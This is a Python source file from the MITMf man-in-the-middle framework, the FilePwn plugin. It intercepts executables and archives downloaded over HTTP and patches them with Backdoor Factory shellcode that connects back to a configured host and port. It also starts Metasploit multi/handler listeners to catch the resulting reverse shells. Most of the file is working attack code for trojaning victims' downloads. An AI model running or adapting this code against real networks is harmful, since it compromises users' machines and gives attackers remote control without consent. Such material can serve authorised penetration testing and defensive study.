mirror of
https://github.com/byt3bl33d3r/MITMf.git
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2dc1dd4f12
This should resolve: * Issue #307 * Issue #309 * Issue #302 * Issue #294 Apperently, Twisted made some fairly heavy API changes in their 16.x release which kinda fucked all the plugins up.
677 lines
No EOL
30 KiB
Python
677 lines
No EOL
30 KiB
Python
#!/usr/bin/env python2.7
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# Copyright (c) 2014-2016 Marcello Salvati
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#
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# This program is free software; you can redistribute it and/or
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# modify it under the terms of the GNU General Public License as
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# published by the Free Software Foundation; either version 3 of the
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# License, or (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful, but
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# WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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# General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program; if not, write to the Free Software
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# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
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# USA
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#
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#--------------------------------------------------------------------------------#
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# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
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#
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# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
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#
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# Copyright (c) 2013-2014, Joshua Pitts
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# All rights reserved.
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#
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# Redistribution and use in source and binary forms, with or without modification,
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# are permitted provided that the following conditions are met:
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#
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# 1. Redistributions of source code must retain the above copyright notice,
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# this list of conditions and the following disclaimer.
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#
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# 2. Redistributions in binary form must reproduce the above copyright notice,
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# this list of conditions and the following disclaimer in the documentation
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# and/or other materials provided with the distribution.
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#
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# 3. Neither the name of the copyright holder nor the names of its contributors
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# may be used to endorse or promote products derived from this software without
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# specific prior written permission.
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#
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# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
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# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
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# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
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# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
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# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
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# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
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# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
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# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
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# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
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# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
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# POSSIBILITY OF SUCH DAMAGE.
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#
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# Tested on Kali-Linux. (and Arch Linux)
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import sys
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import os
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import pefile
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import zipfile
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import logging
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import shutil
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import tempfile
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import random
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import string
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import threading
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import multiprocessing
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import tarfile
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import magic
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from libs.bdfactory import pebin
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from libs.bdfactory import elfbin
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from libs.bdfactory import machobin
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from plugins.plugin import Plugin
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from tempfile import mkstemp
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class FilePwn(Plugin):
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name = "FilePwn"
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optname = "filepwn"
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desc = "Backdoor executables being sent over http using bdfactory"
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tree_info = ["BDFProxy v0.3.2 online"]
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version = "0.3"
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def initialize(self, options):
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'''Called if plugin is enabled, passed the options namespace'''
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self.options = options
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self.patched = multiprocessing.Queue()
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from core.msfrpc import Msf
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self.msf = Msf()
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self.binaryMimeType = {'mimes': ['application/octet-stream', 'application/x-msdownload',
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'application/x-msdos-program', 'binary/octet-stream',
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'application/x-executable', 'application/x-dosexec']}
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self.zipType = {'mimes': ['application/x-zip-compressed', 'application/zip'], 'params': {'type': 'ZIP', 'format': 'zip', 'filter': None}} # .zip
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self.gzType = {'mimes': ['application/gzip', 'application/x-gzip', 'application/gnutar'], 'params': {'type': 'TAR', 'format': 'ustar', 'filter': 'gzip'}} # .gz
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self.tarType = {'mimes': ['application/x-tar'], 'params': {'type': 'TAR', 'format': 'gnutar', 'filter': None}} # .tar
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self.bzType = {'mimes': ['application/x-bzip2', 'application/x-bzip'], 'params': {'type': 'TAR', 'format': 'gnutar', 'filter': 'bzip2'}} # .bz / .bz2
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self.archiveTypes = [self.zipType, self.gzType, self.tarType, self.bzType]
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#FilePwn options
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self.set_config()
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self.parse_target_config(self.user_config['targets']['ALL'])
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self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
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t = threading.Thread(name='setup_msf', target=self.setup_msf)
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t.setDaemon(True)
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t.start()
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def setup_msf(self):
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for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
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cmd = "use exploit/multi/handler\n"
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cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
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cmd += "set LHOST {}\n".format(config["HOST"])
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cmd += "set LPORT {}\n".format(config["PORT"])
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cmd += "set ExitOnSession False\n"
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cmd += "exploit -j\n"
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self.msf.sendcommand(cmd)
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def on_config_change(self):
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self.initialize(self.options)
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def str2bool(self, val):
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if val.lower() == 'true':
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return True
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elif val.lower() == 'false':
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return False
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else:
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return None
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def inject(self, data):
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if len(data) > self.archive_max_size:
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self.log.error("{0} over allowed size".format(self.archive_type))
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return data
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buf = None
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if self.archive_type == "ZIP":
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buf = self.inject_zip(data)
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elif self.archive_type == "TAR":
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buf = self.inject_tar(data, self.archive_params['filter'])
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return buf
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def inject_tar(self, aTarFileBytes, formatt=None):
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# When called will unpack and edit a Tar File and return a tar file"
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tmp_file = tempfile.NamedTemporaryFile()
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tmp_file.write(aTarFileBytes)
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tmp_file.seek(0)
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compression_mode = ':'
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if formatt == 'gzip':
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compression_mode = ':gz'
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if formatt == 'bzip2':
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compression_mode = ':bz2'
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try:
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tar_file = tarfile.open(fileobj=tmp_file, mode='r' + compression_mode)
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except tarfile.ReadError as ex:
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self.log.warning(ex)
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tmp_file.close()
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return aTarFileBytes
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self.log.info("TarFile contents and info (compression: {0}):".format(formatt))
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members = tar_file.getmembers()
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for info in members:
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print "\t{0} {1}".format(info.name, info.size)
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new_tar_storage = tempfile.NamedTemporaryFile()
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new_tar_file = tarfile.open(mode='w' + compression_mode, fileobj=new_tar_storage)
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patch_count = 0
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was_patched = False
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for info in members:
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self.log.info(">>> Next file in tarfile: {0}".format(info.name))
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if not info.isfile():
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self.log.warning("{0} is not a file, skipping".format(info.name))
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new_tar_file.addfile(info, tar_file.extractfile(info))
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continue
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if info.size >= long(self.FileSizeMax):
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self.log.warning("{0} is too big, skipping".format(info.name))
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new_tar_file.addfile(info, tar_file.extractfile(info))
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continue
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# Check against keywords
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if self.check_keyword(info.name.lower()) is True:
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self.log.info('Tar blacklist enforced on {0}'.format(info.name))
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continue
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# Try to patch
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extracted_file = tar_file.extractfile(info)
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if patch_count >= self.archive_patch_count:
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self.log.info("Met archive config patchCount limit. Adding original file")
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new_tar_file.addfile(info, extracted_file)
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else:
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# create the file on disk temporarily for fileGrinder to run on it
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with tempfile.NamedTemporaryFile() as tmp:
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shutil.copyfileobj(extracted_file, tmp)
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tmp.flush()
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patch_result = self.binaryGrinder(tmp.name)
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if patch_result:
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patch_count += 1
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file2 = os.path.join(BDFOLDER, os.path.basename(tmp.name))
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self.log.info("{0} in archive patched, adding to final archive".format(info.name))
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info.size = os.stat(file2).st_size
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with open(file2, 'rb') as f:
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new_tar_file.addfile(info, f)
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os.remove(file2)
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was_patched = True
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else:
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self.log.info("{0} patching failed. Keeping original file.".format(info.name))
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with open(tmp.name, 'rb') as f:
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new_tar_file.addfile(info, f)
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# finalize the writing of the tar file first
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new_tar_file.close()
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if was_patched is False:
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# If nothing was changed return the original
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self.log.info("No files were patched. Forwarding original file")
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new_tar_storage.close() # it's automatically deleted
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return aTarFileBytes
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# then read the new tar file into memory
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new_tar_storage.seek(0)
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buf = new_tar_storage.read()
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new_tar_storage.close() # it's automatically deleted
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return buf
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def inject_zip(self, aZipFile):
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# When called will unpack and edit a Zip File and return a zip file
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tmp_file = tempfile.NamedTemporaryFile()
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tmp_file.write(aZipFile)
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tmp_file.seek(0)
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zippyfile = zipfile.ZipFile(tmp_file.name, 'r')
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# encryption test
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try:
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zippyfile.testzip()
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except RuntimeError as e:
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if 'encrypted' in str(e):
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self.log.warning("Encrypted zipfile found. Not patching.")
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else:
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self.log.warning("Zipfile test failed. Returning original archive")
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zippyfile.close()
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tmp_file.close()
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return aZipFile
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self.log.info("ZipFile contents and info:")
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for info in zippyfile.infolist():
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print "\t{0} {1}".format(info.filename, info.file_size)
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tmpDir = tempfile.mkdtemp()
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zippyfile.extractall(tmpDir)
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patch_count = 0
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was_patched = False
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for info in zippyfile.infolist():
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self.log.info(">>> Next file in zipfile: {0}".format(info.filename))
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actual_file = os.path.join(tmpDir, info.filename)
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if os.path.islink(actual_file) or not os.path.isfile(actual_file):
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self.log.warning("{0} is not a file, skipping".format(info.filename))
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continue
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if os.lstat(actual_file).st_size >= long(self.FileSizeMax):
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self.log.warning("{0} is too big, skipping".format(info.filename))
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continue
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# Check against keywords
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if self.check_keyword(info.filename.lower()) is True:
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self.log.info('Zip blacklist enforced on {0}'.format(info.filename))
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continue
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if patch_count >= self.archive_patch_count:
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self.log.info("Met archive config patchCount limit. Adding original file")
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break
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else:
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patch_result = self.binaryGrinder(actual_file)
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if patch_result:
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patch_count += 1
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file2 = os.path.join(BDFOLDER, os.path.basename(info.filename))
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self.log.info("Patching complete, adding to archive file.")
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shutil.copyfile(file2, actual_file)
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self.log.info("{0} in archive patched, adding to final archive".format(info.filename))
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os.remove(file2)
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was_patched = True
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else:
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self.log.error("{0} patching failed. Keeping original file.".format(info.filename))
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zippyfile.close()
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if was_patched is False:
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self.log.info("No files were patched. Forwarding original file")
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tmp_file.close()
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shutil.rmtree(tmpDir, ignore_errors=True)
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return aZipFile
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zip_result = zipfile.ZipFile(tmp_file.name, 'w', zipfile.ZIP_DEFLATED)
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for base, dirs, files in os.walk(tmpDir):
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for afile in files:
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filename = os.path.join(base, afile)
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zip_result.write(filename, arcname=filename.replace(tmpDir + '/', ''))
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zip_result.close()
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# clean up
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shutil.rmtree(tmpDir, ignore_errors=True)
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with open(tmp_file.name, 'rb') as f:
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zip_data = f.read()
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tmp_file.close()
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return zip_data
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def binaryGrinder(self, binaryFile):
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"""
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Feed potential binaries into this function,
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it will return the result PatchedBinary, False, or None
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"""
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with open(binaryFile, 'r+b') as f:
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binaryTMPHandle = f.read()
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binaryHeader = binaryTMPHandle[:4]
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result = None
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try:
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if binaryHeader[:2] == 'MZ': # PE/COFF
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pe = pefile.PE(data=binaryTMPHandle, fast_load=True)
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magic = pe.OPTIONAL_HEADER.Magic
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machineType = pe.FILE_HEADER.Machine
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# update when supporting more than one arch
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if (magic == int('20B', 16) and machineType == 0x8664 and
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self.WindowsType.lower() in ['all', 'x64']):
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add_section = False
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cave_jumping = False
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if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append':
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add_section = True
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elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump':
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cave_jumping = True
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# if automatic override
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if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic':
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cave_jumping = True
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targetFile = pebin.pebin(FILE=binaryFile,
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OUTPUT=os.path.basename(binaryFile),
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SHELL=self.WindowsIntelx64['SHELL'],
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HOST=self.WindowsIntelx64['HOST'],
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PORT=int(self.WindowsIntelx64['PORT']),
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ADD_SECTION=add_section,
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CAVE_JUMPING=cave_jumping,
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IMAGE_TYPE=self.WindowsType,
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RUNAS_ADMIN=self.str2bool(self.WindowsIntelx86['RUNAS_ADMIN']),
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PATCH_DLL=self.str2bool(self.WindowsIntelx64['PATCH_DLL']),
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SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'],
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ZERO_CERT=self.str2bool(self.WindowsIntelx64['ZERO_CERT']),
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PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower(),
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SUPPLIED_BINARY=self.WindowsIntelx64['SUPPLIED_BINARY'],
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)
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result = targetFile.run_this()
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elif (machineType == 0x14c and
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self.WindowsType.lower() in ['all', 'x86']):
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add_section = False
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cave_jumping = False
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# add_section wins for cave_jumping
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# default is single for BDF
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if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append':
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add_section = True
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elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump':
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cave_jumping = True
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# if automatic override
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if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic':
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cave_jumping = True
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add_section = False
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targetFile = pebin.pebin(FILE=binaryFile,
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OUTPUT=os.path.basename(binaryFile),
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SHELL=self.WindowsIntelx86['SHELL'],
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HOST=self.WindowsIntelx86['HOST'],
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PORT=int(self.WindowsIntelx86['PORT']),
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ADD_SECTION=add_section,
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CAVE_JUMPING=cave_jumping,
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IMAGE_TYPE=self.WindowsType,
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RUNAS_ADMIN=self.str2bool(self.WindowsIntelx86['RUNAS_ADMIN']),
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PATCH_DLL=self.str2bool(self.WindowsIntelx86['PATCH_DLL']),
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SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'],
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ZERO_CERT=self.str2bool(self.WindowsIntelx86['ZERO_CERT']),
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PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower(),
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SUPPLIED_BINARY=self.WindowsIntelx86['SUPPLIED_BINARY'],
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XP_MODE=self.str2bool(self.WindowsIntelx86['XP_MODE'])
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)
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result = targetFile.run_this()
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elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF
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targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False)
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targetFile.support_check()
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if targetFile.class_type == 0x1:
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# x86CPU Type
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targetFile = elfbin.elfbin(FILE=binaryFile,
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OUTPUT=os.path.basename(binaryFile),
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SHELL=self.LinuxIntelx86['SHELL'],
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HOST=self.LinuxIntelx86['HOST'],
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PORT=int(self.LinuxIntelx86['PORT']),
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SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'],
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IMAGE_TYPE=self.LinuxType
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)
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result = targetFile.run_this()
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elif targetFile.class_type == 0x2:
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# x64
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targetFile = elfbin.elfbin(FILE=binaryFile,
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OUTPUT=os.path.basename(binaryFile),
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SHELL=self.LinuxIntelx64['SHELL'],
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HOST=self.LinuxIntelx64['HOST'],
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PORT=int(self.LinuxIntelx64['PORT']),
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SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'],
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IMAGE_TYPE=self.LinuxType
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)
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result = targetFile.run_this()
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elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho
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targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False)
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targetFile.support_check()
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# ONE CHIP SET MUST HAVE PRIORITY in FAT FILE
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if targetFile.FAT_FILE is True:
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if self.FatPriority == 'x86':
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targetFile = machobin.machobin(FILE=binaryFile,
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OUTPUT=os.path.basename(binaryFile),
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SHELL=self.MachoIntelx86['SHELL'],
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HOST=self.MachoIntelx86['HOST'],
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PORT=int(self.MachoIntelx86['PORT']),
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SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
|
|
FAT_PRIORITY=self.FatPriority
|
|
)
|
|
result = targetFile.run_this()
|
|
|
|
elif self.FatPriority == 'x64':
|
|
targetFile = machobin.machobin(FILE=binaryFile,
|
|
OUTPUT=os.path.basename(binaryFile),
|
|
SHELL=self.MachoIntelx64['SHELL'],
|
|
HOST=self.MachoIntelx64['HOST'],
|
|
PORT=int(self.MachoIntelx64['PORT']),
|
|
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
|
|
FAT_PRIORITY=self.FatPriority
|
|
)
|
|
result = targetFile.run_this()
|
|
|
|
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7':
|
|
targetFile = machobin.machobin(FILE=binaryFile,
|
|
OUTPUT=os.path.basename(binaryFile),
|
|
SHELL=self.MachoIntelx86['SHELL'],
|
|
HOST=self.MachoIntelx86['HOST'],
|
|
PORT=int(self.MachoIntelx86['PORT']),
|
|
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
|
|
FAT_PRIORITY=self.FatPriority
|
|
)
|
|
result = targetFile.run_this()
|
|
|
|
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007':
|
|
targetFile = machobin.machobin(FILE=binaryFile,
|
|
OUTPUT=os.path.basename(binaryFile),
|
|
SHELL=self.MachoIntelx64['SHELL'],
|
|
HOST=self.MachoIntelx64['HOST'],
|
|
PORT=int(self.MachoIntelx64['PORT']),
|
|
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
|
|
FAT_PRIORITY=self.FatPriority
|
|
)
|
|
result = targetFile.run_this()
|
|
|
|
return result
|
|
|
|
except Exception as e:
|
|
self.log.error("Exception in binaryGrinder {0}".format(e))
|
|
return None
|
|
|
|
def set_config(self):
|
|
try:
|
|
self.user_config = self.config['FilePwn']
|
|
self.host_blacklist = self.user_config['hosts']['blacklist']
|
|
self.host_whitelist = self.user_config['hosts']['whitelist']
|
|
self.keys_blacklist = self.user_config['keywords']['blacklist']
|
|
self.keys_whitelist = self.user_config['keywords']['whitelist']
|
|
except Exception as e:
|
|
self.log.error("Missing field from config file: {0}".format(e))
|
|
|
|
def set_config_archive(self, ar):
|
|
try:
|
|
self.archive_type = ar['type']
|
|
self.archive_blacklist = self.user_config[self.archive_type]['blacklist']
|
|
self.archive_max_size = int(self.user_config[self.archive_type]['maxSize'])
|
|
self.archive_patch_count = int(self.user_config[self.archive_type]['patchCount'])
|
|
self.archive_params = ar
|
|
except Exception as e:
|
|
raise Exception("Missing {0} section from config file".format(e))
|
|
|
|
def hosts_whitelist_check(self, req_host):
|
|
if self.host_whitelist.lower() == 'all':
|
|
self.patchIT = True
|
|
|
|
elif type(self.host_whitelist) is str:
|
|
if self.host_whitelist.lower() in req_host.lower():
|
|
self.patchIT = True
|
|
self.log.info("Host whitelist hit: {0}, HOST: {1}".format(self.host_whitelist, req_host))
|
|
elif req_host.lower() in self.host_whitelist.lower():
|
|
self.patchIT = True
|
|
self.log.info("Host whitelist hit: {0}, HOST: {1} ".format(self.host_whitelist, req_host))
|
|
else:
|
|
for keyword in self.host_whitelist:
|
|
if keyword.lower() in req_host.lower():
|
|
self.patchIT = True
|
|
self.log.info("Host whitelist hit: {0}, HOST: {1} ".format(self.host_whitelist, req_host))
|
|
break
|
|
|
|
def keys_whitelist_check(self, req_url, req_host):
|
|
# Host whitelist check takes precedence
|
|
if self.patchIT is False:
|
|
return None
|
|
|
|
if self.keys_whitelist.lower() == 'all':
|
|
self.patchIT = True
|
|
elif type(self.keys_whitelist) is str:
|
|
if self.keys_whitelist.lower() in req_url.lower():
|
|
self.patchIT = True
|
|
self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url))
|
|
elif req_host.lower() in [x.lower() for x in self.keys_whitelist]:
|
|
self.patchIT = True
|
|
self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url))
|
|
else:
|
|
for keyword in self.keys_whitelist:
|
|
if keyword.lower() in req_url.lower():
|
|
self.patchIT = True
|
|
self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url))
|
|
break
|
|
|
|
def keys_backlist_check(self, req_url, req_host):
|
|
if type(self.keys_blacklist) is str:
|
|
if self.keys_blacklist.lower() in req_url.lower():
|
|
self.patchIT = False
|
|
self.log.info("Keyword blacklist hit: {0}, PATH: {1}".format(self.keys_blacklist, req_url))
|
|
else:
|
|
for keyword in self.keys_blacklist:
|
|
if keyword.lower() in req_url.lower():
|
|
self.patchIT = False
|
|
self.log.info("Keyword blacklist hit: {0}, PATH: {1}".format(self.keys_blacklist, req_url))
|
|
break
|
|
|
|
def hosts_blacklist_check(self, req_host):
|
|
if type(self.host_blacklist) is str:
|
|
if self.host_blacklist.lower() in req_host.lower():
|
|
self.patchIT = False
|
|
self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host))
|
|
elif req_host.lower() in [x.lower() for x in self.host_blacklist]:
|
|
self.patchIT = False
|
|
self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host))
|
|
else:
|
|
for host in self.host_blacklist:
|
|
if host.lower() in req_host.lower():
|
|
self.patchIT = False
|
|
self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host))
|
|
break
|
|
|
|
def parse_target_config(self, targetConfig):
|
|
for key, value in targetConfig.items():
|
|
if hasattr(self, key) is False:
|
|
setattr(self, key, value)
|
|
self.log.debug("Settings Config {0}: {1}".format(key, value))
|
|
|
|
elif getattr(self, key, value) != value:
|
|
if value == "None":
|
|
continue
|
|
|
|
# test if string can be easily converted to dict
|
|
if ':' in str(value):
|
|
for tmpkey, tmpvalue in dict(value).items():
|
|
getattr(self, key, value)[tmpkey] = tmpvalue
|
|
self.log.debug("Updating Config {0}: {1}".format(tmpkey, tmpvalue))
|
|
else:
|
|
setattr(self, key, value)
|
|
self.log.debug("Updating Config {0}: {1}".format(key, value))
|
|
|
|
def response(self, response, request, data):
|
|
|
|
content_header = response.responseHeaders.getRawHeaders('Content-Type')[0]
|
|
client_ip = request.client.getClientIP()
|
|
host = request.headers['host']
|
|
|
|
if not response.responseHeaders.hasHeader('content-length'):
|
|
content_length = None
|
|
else:
|
|
content_length = int(response.responseHeaders.getRawHeaders('content-length')[0])
|
|
|
|
for target in self.user_config['targets'].keys():
|
|
if target == 'ALL':
|
|
self.parse_target_config(self.user_config['targets']['ALL'])
|
|
|
|
if target in request.headers['host']:
|
|
self.parse_target_config(self.user_config['targets'][target])
|
|
|
|
self.hosts_whitelist_check(host)
|
|
self.keys_whitelist_check(request.uri, host)
|
|
self.keys_backlist_check(request.uri, host)
|
|
self.hosts_blacklist_check(host)
|
|
|
|
if content_length and (content_length >= long(self.FileSizeMax)):
|
|
self.clientlog.info("Not patching over content-length, forwarding to user", extra=request.clientInfo)
|
|
self.patchIT = False
|
|
|
|
if self.patchIT is False:
|
|
self.clientlog.info("Config did not allow patching", extra=request.clientInfo)
|
|
|
|
else:
|
|
|
|
mime_type = magic.from_buffer(data, mime=True)
|
|
|
|
if mime_type in self.binaryMimeType['mimes']:
|
|
tmp = tempfile.NamedTemporaryFile()
|
|
tmp.write(data)
|
|
tmp.flush()
|
|
tmp.seek(0)
|
|
|
|
patchResult = self.binaryGrinder(tmp.name)
|
|
if patchResult:
|
|
self.clientlog.info("Patching complete, forwarding to user", extra=request.clientInfo)
|
|
|
|
bd_file = os.path.join('backdoored', os.path.basename(tmp.name))
|
|
with open(bd_file, 'r+b') as file2:
|
|
data = file2.read()
|
|
file2.close()
|
|
|
|
os.remove(bd_file)
|
|
else:
|
|
self.clientlog.error("Patching failed", extra=request.clientInfo)
|
|
|
|
# add_try to delete here
|
|
tmp.close()
|
|
else:
|
|
for archive in self.archiveTypes:
|
|
if mime_type in archive['mimes'] and self.str2bool(self.CompressedFiles) is True:
|
|
try:
|
|
self.set_config_archive(archive['params'])
|
|
data = self.inject(data)
|
|
except Exception as exc:
|
|
self.clientlog.error(exc, extra=request.clientInfo)
|
|
self.clientlog.warning("Returning original file", extra=request.clientInfo)
|
|
|
|
return {'response': response, 'request': request, 'data': data} |